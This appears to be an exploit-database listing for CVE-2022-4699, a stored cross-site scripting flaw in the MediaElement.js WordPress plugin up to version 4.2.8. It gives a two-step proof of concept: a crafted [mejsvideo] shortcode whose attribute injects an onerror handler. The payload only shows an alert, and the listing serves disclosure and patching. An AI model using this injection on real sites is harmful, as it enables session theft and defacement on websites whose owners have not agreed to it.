Exploit for MediaElement.js – HTML5 Video & Audio Player <= 4.2.8 - Contributor+ Stored XSS via Shortcode CVE-2022-4699

Name: Exploit for MediaElement.js – HTML5 Video & Audio Player <= 4.2.8 - Contributor+ Stored XSS via Shortcode CVE-2022-4699
Rating: 5 (135 reviews)

2023-01-03 | CVSS 0.8

## https://sploitus.com/exploit?id=WPEX-ID:E57F38D9-889A-4F82-B20D-3676CCF9C6F9
1. Insert the following shortcode in a post/page: [mejsvideo type='" src="" onerror="alert(1)"']

2. Browse the post/page, and the alert will trigger successfully.